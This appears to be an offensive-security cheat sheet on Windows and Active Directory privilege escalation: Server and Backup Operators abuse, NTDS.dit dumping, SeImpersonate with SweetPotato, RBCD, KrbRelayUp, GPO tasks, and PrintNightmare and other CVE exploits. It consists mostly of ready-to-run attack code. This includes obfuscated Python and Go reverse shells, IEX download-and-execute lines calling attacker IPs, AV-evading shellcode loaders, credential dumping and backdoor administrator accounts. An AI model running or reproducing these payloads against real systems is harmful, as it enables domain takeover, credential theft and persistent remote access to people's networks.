$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64va")
Groupsļ
Interesting groups to look for :
AD Recycle Bin
Backup Operators
DnsAdmins
Exchange Windows Permissions
Hyper-V Administrators
# Organization Management
Print Operators
Remote Desktop Users
Remote Management Users
Server Operators
Server Operatorsļ
You can edit services
# Let's modify the VSS service (Volume Shadow Copy)
sc.exe qc "vss"
sc.exe config vss binPath="C:\r\r32.exe"
sc.exe qc "vss"
# Retrieve your payload (you need to detach before the service fail to start, or just pick a payload that add a new admin)
mkdir c:\r
wget http://10.10.14.139/r32.exe -O c:\r\r32.exe
# Restart VSS service
sc.exe stop vss
sc.exe start vss
# Cleanup
sc.exe config vss binPath="C:\Windows\system32\vssvc.exe"
Backup Operatorsļ
You can backup files, including Hives and NTDS.dit,
If you want other files then you can use robocopy
mkdir c:\r
robocopy /b C:\Users\Administrator\Desktop\ C:\r\
Dumping Hives
mkdir c:\r
reg save hklm\sam c:\r\SAM
reg save hklm\system c:\r\SYSTEM
Dumping NTDS.dit with wbadmin
First you need a SAMBA share (or a real windows share, but donāt use impacket smbserver)
Instructions here : https://offensive.run/rogue/smb/README.html
net use X: \\ATTACKERIP\PWN
wbadmin start backup -backuptarget:\\ATTACKERIP\PWN -include:c:\windows\ntds
We can now open the vhdx file on linux using qemu
sudo apt install qemu-utils nbd-client
sudo apt install nbd-client # install nbd client
sudo rmmod nbd;sudo modprobe nbd max_part=16 # load the nbd kernel module (it's normal to get errors on rmmod)
sudo qemu-nbd -c /dev/nbd0 "/tmp/PWN/WindowsImageBackup/DC01/Backup 2024-07-24 233333/6cd5140b-0000-0000-0000-602200000000.vhdx" # mount block device
sudo partprobe /dev/nbd0 # reload partition table
mkdir /tmp/vhdx
sudo mount -o ro,nouser /dev/nbd0p2 "/tmp/vhdx" # mount partition
# ls -ltrh /tmp/vhdx/Windows/NTDS/ntds.dit
# -rwxrwxrwx 1 root root 18M juil. 25 2024 /tmp/vhdx/Windows/NTDS/ntds.dit
# secretsdump.py -sam /tmp/SAM -system /tmp/SYSTEM local -ntds /tmp/vhdx/Windows/NTDS/ntds.dit -history
Privilegesļ
SeImpersonateļ
SeImpersonatePrivilege privilege is enabled on services account like iis or mssql
whoami /all
[...]
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
[...]
SweetPotato leverage SeImpersonate Privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method.
Letās abuse SeImpersonatePrivilege privilege with SweetPotato.exe as shellcode
(Require to serve embeddable python as python.zip, loadsc from AV Bypass section, and to install donut-shellcode with pip)
You need to retrieve or compile SweetPotato.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SweetPotato.exe -O /var/www/html/SweetPotato.exe
# Params
IP="192.168.1.163"
PORT=53
WRITABLEPATH="C:\\Users\\user.DOMAIN\\Documents" # (Writable by current user to download python)
INPUT_FILE='/var/www/html/SweetPotato.exe'
PARAMS="import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/payload').read()[::-1].decode('utf-8')));"
PARAMS="-e EfsRpc -p \"$WRITABLEPATH\python\python.exe\" -a "'"-c \"'"$PARAMS"'\""'
# Python reverse shell payload
cat <<EOF|sudo tee /var/www/html/payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="""
import time,socket,os,threading,subprocess as sp; flags = 0x08000000 # CREATE_NO_WINDOW
p=sp.Popen(['powershell.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT, close_fds=False, creationflags=flags, universal_newlines=True, shell=False);s=socket.socket()
for retry in range(12):
try: s.connect(('$IP',$PORT));break
except Error as e: time.sleep(5)
NL=os.linesep.encode();os.write(p.stdin.fileno(),b"\$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding ;cd /users;powershell;exit; "+NL)
time.sleep(1);os.read(p.stdout.fileno(),1024);os.write(p.stdin.fileno(),NL+b"ls"+NL)
threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();
threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals()),daemon=True).start();
while p.poll() is None: time.sleep(1)
s.send(b"Quitting..."+NL);s.shutdown()
"""
import subprocess as sp,sys
flags = 0
flags |= 0x00000008 # DETACHED_PROCESS
flags |= 0x00000200 # CREATE_NEW_PROCESS_GROUP
p = sp.Popen([sys.executable, '-c', aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], close_fds=True, creationflags=flags)
EOF
# Encode python payload
cat /var/www/html/payload| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/payloadtmp >/dev/null
sudo mv /var/www/html/payloadtmp /var/www/html/payload
# Generating SweetPotato shellcode with donut
python3 -c "import donut; donut.create(file='$INPUT_FILE',output='/tmp/sc',params=bytes.fromhex('$(echo -n "$PARAMS" | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat "/tmp/sc" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "/var/www/html/sc" >/dev/null
# Powershell script to call
cat <<EOF|sudo tee /var/www/html/start
\$Exists = Test-Path "$WRITABLEPATH\python\";If (\$Exists -eq \$False) {(New-Object Net.WebClient).DownloadFile("http://$IP/python.zip","$WRITABLEPATH\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$WRITABLEPATH\python.zip", "$WRITABLEPATH\python\")}
\$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/loadsc').read()[::-1].decode('utf-8')));load('http://$IP/sc')""")
Start-Process -NoNewWindow -FilePath "$WRITABLEPATH\python\python.exe" -ArgumentList \$arguments
EOF
# Wait for connection
sudo tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP
IEX(New-Object Net.WebClient).downloadString("http://192.168.1.163/start")
SeImpersonate OLDļ
Abusing SeImpersonate on old systems
sudo -i
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe -O /var/www/html/churrasco.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.139 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe
smbserver.py -ip 10.10.14.139 -port 445 PWN /var/www/html/ &
nc -nvlp 53 -s 10.10.14.139
\\10.10.14.139\PWN\churrasco.exe -d "c:\windows\system32\cmd.exe /C \\10.10.14.139\PWN\shell_reverse_tcp.exe"
ACLs (AD)ļ
GenericAll-Userļ
If you have GenericAll access on any user you can reset the password
net user robert FNUEOFNSIDsilfelifsef_1 /domain
RBCD LPE/RCE (AD)ļ
RBCD attack rely on 4 domains accounts:
- Compromised account (ex: low privilege user, relayed computer/user)
- Compromised service account (ex: a new fake computer)
- Targeted service account (ex: targeted machine)
- Impersonated user account (ex: domain/Administrator)
RBCD steps:
- 1: Use āCompromised accountā to create a new computer account in domain, that will be our āCompromised service accountā (Optional if you already control a service account)
- 2: Use āCompromised accountā write access to declare that āCompromised service accountā can act on behalf of other identity for āTargeted serviceā
- 3: Use āCompromised service accountā to ask for TGT, impersonating āImpersonated userā on āTargeted serviceā (S4U2Self + S4U2Proxy)
- 4: Use TGT on āTargeted serviceā
RBCD requirements:
- Compromised account have GenericWrite/GenericAll/WriteDacl/WriteOwner/Owns/WriteAccountRestrictions/AllowedToAct rights on targeted service account (ex: user that have GenericWrite access on targeted machine)
- If relaying step 1 & 2, LDAP signing must NOT be enforced (default setting).
- If you donāt already have compromised a service account you can create a new fake computer account, but MAQ domain attribute (āMS-DS-Machine-Account-Quotaā) must be >0 (default setting is 10)
- Impersonated user must NOT be part of āprotected usersā group (except Administrator rid500 which isnāt affected)
- Impersonated user must NOT have the NOT_DELEGATED flag (āAccount is sensitive and cannot be delegatedā option)
crackmapexec ldap <dcip> -u user -p pass -M ldap-checker # Check if LDAP signing is enforced (if relaying)
crackmapexec ldap <dcip> -d domain -u user -p pass -M maq # Machine Account Quota
# Detect RBCD paths with Bloodhound
MATCH q=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner|Owns|WriteAccountRestrictions|AllowedToAct]->(:Computer) WHERE NOT u.objectid ENDS WITH "-512" AND NOT u.objectid ENDS WITH "-519" AND NOT u.objectid ENDS WITH "-544" AND NOT u.objectid ENDS WITH "-548" RETURN q
Here iām using RBCD as LPE, iām using chisel proxy to bypass FW on local target that doesnāt allow external connections, but you can use this as RCE as well.
You can skip this part if you donāt want proxy. Iām bypassing AV with python and a script named āloadscā
# Run chisel server
docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80
# Prepare CHISEL shellcode
IP="192.168.1.163"
PORT="443"
SOCKS="5000"
PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks"
python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null
echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1
# Powershell script to call
echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel
cat <<'EOF'|sudo tee -a /var/www/html/startchisel
$loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc"
$python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments
EOF
# IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel')
Settings vars
UNPRIVILEGED_USER="user" # (Domain user)
UNPRIVILEGED_USER_PASS="Testtesttest1!"
IMPERSONATED_USER="administrator" # Impersonated domain user
TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on
TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1"
DOMAIN="domain.local"
DC_NAME="WIN-SPQIBGNU0G1"
DC_IP="172.16.130.153"
PROXY='proxychains -q -f /tmp/TARGET1'
NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX
NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI'
Exploit
# Move to a new dir
cd $(mktemp -d)
# Read the attributes of targeted machine (INFO)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
# Add a new computer to domain
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
# Update msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
# Retrieve TGT for targeted machine with impersonated user, using the new computer account. (S4U2Self + S4U2Proxy)
$PROXY getST.py -spn "CIFS/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS"
# Read TGT
mv *.ccache "$IMPERSONATED_USER.ccache"
export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache"
klist "$KRB5CCNAME"
Use TGT
# Use Kerberos ticket
$PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"'
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR
# Reverse Shell
IP="192.168.1.163"
PORT=53
echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs
cat <<'EOF'| sudo tee -a /var/www/html/rs
$process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
$arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()""");
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments;
EOF
# Wait for connection
tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP
CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');"
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand
CLEANUP (..you probably wonāt have the rights to delete the computer)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete
KrbRelayUp Tool (AD)ļ
KrbRelayUp.exe is a collection of tools that aim to leverage security issues in Windows Active Directory configuration/infrastructure to perform LPE.
KrbRelayUp have 3 differents methods/path to perform LPE: SHADOWCRED, ADCS and RBCD.
SHADOWCRED and ADCS are based on ADCS presence, but we are using RBCD here.
Requirements for this attack:
Unprivileged user must have a Write access on machine
LDAP signing must NOT be enforced (default setting).
āMS-DS-Machine-Account-Quotaā domain attribute must be >0 (default setting is 10)
Impersonated user must NOT be part of āprotected usersā group
Impersonated user must NOT have the NOT_DELEGATED flag
Ensure LDAP signing is not enforced on client side (0:disabled, 1:optionnal, 2:enforced)
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity
Letās get started by serving KrbRelayUp.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe
Then, run the relay phase
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe")
&$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1
Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them donāt work)
WinServer2022: ā000C101C-0000-0000-C000-000000000046ā (MSIServer)
this CLSID is also present in W7,8,10*,2008,2012,2016
Once relay phase is completed, we can proceed with the spawn phase.
For this step iām using a powershell payload to add a new administrator, and iām wrapping it into a golang executable
cat <<'EOF'>/tmp/payload.ps1
net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD
EOF
cat <<EOF>/tmp/beepboop.go
package main
import ("os/exec";"fmt";"log")
func main() {
cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)")
out, err := cmd.Output()
if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)}
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go
chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/
Next, call KrbRelayUp.exe to perform the spawn step
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe")
&$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1
Abusing GPOs (AD)ļ
Using powershell to create a new computer immediate task into existing GPO āDefault Domain Controllers Policyā
# Parameters
$GUID = '{6AC1786C-016F-11D2-945F-00C04fB984F9}' # Default Domain Controllers Policy
$TaskCommand = 'CMD.EXE'
$TaskArguments = '/C mkdir c:\GPO_ABUSE_PROOF'
$TaskUser = 'NT AUTHORITY\System'
$TaskAuthor = 'Hacker'
$TaskName = 'Hacker'
$TaskRunLevel = 'HighestAvailable'
# Using the Primary Domain Controller SYSVOL
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$GPOpath = "\\" + $domainObj.PdcRoleOwner.Name + "\SysVol\" + $domainObj.Name + "\Policies\$GUID"
$ScheduledTasksFolder = "$GPOpath\Machine\Preferences\ScheduledTasks\"
$ScheduledTasksFile = "$ScheduledTasksFolder\ScheduledTasks.xml"
$GPTini = "$GPOpath\GPT.INI"
# Ensure the scheduled tasks folder is created
New-Item -ItemType Directory -Path $ScheduledTasksFolder -Force
# New task as XML
$TaskXml = @"
<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="$TaskName" image="0" changed="2024-06-15 22:01:10" uid="$((New-Guid).Guid)"><Properties action="C" name="$TaskName" runAs="$TaskUser" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>$TaskAuthor</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>$TaskUser</UserId><LogonType>S4U</LogonType><RunLevel>$TaskRunLevel</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>$TaskCommand</Command><Arguments>$TaskArguments</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2></ScheduledTasks>
"@
# Write task XML to file on DC SysVol
[System.IO.File]::WriteAllText($ScheduledTasksFile, $TaskXml)
# Increment GPO version number (Optional if using gpupdate)
$GPO = [ADSI]("LDAP://" + $domainObj.PdcRoleOwner.Name + "/CN=$GUID,CN=Policies,CN=System,$(([adsi]'').distinguishedName)")
$GPOversion = $GPO.psbase.Properties["versionNumber"].Value
$GPO.psbase.Properties["versionNumber"].Value++
$GPO.SetInfo()
# Increment GPT.INI version number (Optional if using gpupdate)
$GPTiniContent = (Get-Content $GPTini)
$GPTiniRegex = [RegEx]::Matches($GPTiniContent,"Version=(\d+)")
$GPTiniVersion = [int]$GPTiniRegex.Groups[1].Value
$GPTiniContent -replace "Version=$GPTiniVersion", "Version=$($GPOversion+1)" | Set-Content $GPTini
# Refresh GPO on current machine (and loading your payload)
gpupdate /Target:Computer /force
CVE LPEļ
# List OS, KB
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
# Checking env
# syswow64 lets you run 32 bit system executables from 64 bit code. sysnative lets you run 64 bit system executables from 32 bit code.
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"
powershell.exe -c "ls env:"
# List .Net framework
dir /A:D c:\Windows\Microsoft.NET\Framework
MS16032ļ
CVE-2016-0099
Targets : Win7-Win10 & 2k8-2k12 <== 32/64 bit!
Requirements: 2+ CPU
sudo wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1 -O /var/www/html/ms16032.ps1
# Check number of processors
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"
# Exploit and run whoami to a file
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C whoami.exe > C:\ms16032'"
type C:\ms16032
# Exploit and run powershell encoded command
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C powershell -e BEEPBOOP=='"
CVE-2018-8120ļ
Releases
sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x32.exe
sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/x64/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x64.exe
CMD.EXE /C "mkdir c:\r & cd c:\r & certutil.exe -urlcache -split -f http://10.10.14.121/CVE20188120x32.exe CVE20188120x32.exe & start /b c:\r\CVE20188120x32.exe whoami"
PrintNightmareļ
CVE-2021-1675
KB : KB5004945 06 July 2021
Print Nightmare (didnāt try)
sudo wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 -O /var/www/html/CVE20211675.ps1
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/CVE20211675.ps1'); Invoke-Nightmare -DriverName 'BEEPBOOP' -NewUser 'hacker' -NewPassword 'Hackerbeepboop_1'"
Or with the cube0x0 exploit :
We make use of a golang dll payload
cat <<'EOF'| tee /tmp/reverse.go
package main
import (
"bufio"
"net"
"os/exec"
"strings"
)
// DLL
func init() {
main()
}
func main() {
conn, _ := net.Dial("tcp", "192.168.45.178:4445")
for {
f, _ := bufio.NewReader(conn).ReadString('\n')
g := strings.TrimSuffix(f, "\n")
h, i, _ := strings.Cut(g, "~")
cmd := exec.Command(h, i)
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
}
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go
sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe
sudo cp /tmp/reverse.dll /var/www/html/
nc -nvlp 4445
cd C:\users\any\
wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe
wget http://192.168.45.111/reverse.dll -O reverse.dll
.\SharpPrintNightmare.exe C:\users\any\reverse.dll
HiveNightmareļ
CVE-2021-36934